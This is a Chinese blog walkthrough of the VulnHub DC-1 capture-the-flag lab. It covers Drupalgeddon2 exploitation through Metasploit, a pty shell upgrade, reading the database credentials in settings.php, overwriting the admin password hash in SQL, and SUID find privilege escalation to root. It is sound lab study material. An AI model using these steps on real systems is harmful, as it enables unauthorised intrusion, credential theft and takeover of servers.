DC-1靶机渗透测试过程(个人学习)


DC-1靶场下载地址:

DC: 1 ~ VulnHub

攻击机kali的IP地址:192.168.37.129
注意靶机和攻击机的环境配置要一致

一、信息收集

方法一:nmap扫描

方法二:arp-scan -l
使用  arp-scan -l  扫描该网段内其他的IP地址效率相对快一些

扫描后得到靶机的IP地址为:192.168.37.133

使用nmap扫描靶机的IP,发现其22、80、111端口开放

访问该IP的80端口,是一个登录页面,同时通过Wappalyzer可以看出该网站的CMS系统为Drupal 7

对于一个登录框,总会有些奇怪的想法,尝试了弱口令、sql注入、暴力破解都不行

二、漏洞利用

前面通过Wappalyzer发现该网站的CMS为Drupal 7,则可以进入msf查找相应模块的漏洞是否可以利用

1、进入msf![]
msfconsole

2、查找相应的模块的漏洞
search Drupal

可以看到有很多版本,这里选择使用exploit/unix/webapp/drupal_drupalgeddon2,这个版本比较新,优先级也较高
利用该模块,并查看该配置选项,可以利用这个模块的payload建立一个反向的tcp连接到靶机。
yes的地方是必填的地方,大多数基本上默认都填写好了,所以只需要填靶机的IP即可

配置RHOSTS为靶机的IP地址
set RHOSTS 192.168.37.133

配置成功后直接运行
run 或 exploit

现在可以看到session已经成功建立,接下来获得shell

为了方便观看与使用,再使用python反弹shell
python -c "import pty;pty.spawn('/bin/bash')"

三、获取flag

flag1

建立反弹shell后,查看该目录下的文件可以发现flag1.txt,cat即可获得到flag1.txt

flag2

flag1.txt提示:每个好的CMS都需要一个配置文件——你也是

搜索一下Drupal的配置文件的路径为:/var/www/sites/default/settings.php
查看该配置文件的内容
cat /var/www/sites/default/settings.php

得到了flag2,也得到了一个提示
*暴力和字典攻击不是最常见的
*只有获得访问权限的方法(您将需要访问权限)。
*你能用这些证书做什么?

flag3

获取到flag2和提示的同时也获得了数据库的账号与密码

我们可以尝试使用该用户名和密码登录数据库![]
mysql -udbuser -pR0ck3t

登录成功后查看库![]
show databases;

进入drupaldb库中
use drupaldb;

查看该库中的表
show tables;

可以发现库中有一个 users 表,一般users表中存放着用户的信息,查看表中内容
select * from users;

可以看到admin账号密码的hash值,对于hash值的破解基本上不太现实,可以尝试将admin的密码替换,所以需要找一下加密的文件。

百度搜索一下可以知道 Drupal 7 的hash密码脚本存放于script目录下的password-hash.s 
使用该脚本对 “12345” 这个值进行hash

php scripts/password-hash.sh 123456

可以得到“123456” 的hash值,将hash后的密码复制

回到数据库中使用update命令更改密码,更改完再查看一下是否成功更改了密码

update users set pass='$S$DRchherDZrUWkE7m5gohDT75xMO1MXq.Ivcv3B88F0WVHT8U47Tp' where uid=1;

可以看到密码已经更改,访问页面输入账号密码登录即可

在网站中四处逛逛,不难发现flag3,点击flag3便跳转页面显示flag3的内容

flag4

flag4其实一开始就发现,成功建立shell后,cat /etc/passwd 查看用户信息的时候就发现存在要给flag4的用户

切换到/home/flag4目录下,可以发现flag4.txt文件,提取即可看到flag4.txt 的提示

flag5

find提权
显示 你是否能用同样的方法用root用户查看此flag,发现提示权限不够

既然要提权,那我们查看一下有哪些suid权限
使用以下命令查看具有suid权限的命令:
find / -perm -u=s -type f 2>/dev/null

可以看到find就在其中,那就可以使用find提权

使用以下命令进行提权,提权成功后查看权限可以发现已经是root用户

find -exec "/bin/sh" ;

已经获得到了root的权限,即可切换到 /root 目录下可以找到最后一个flag

posted @   M1ke  阅读(329)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示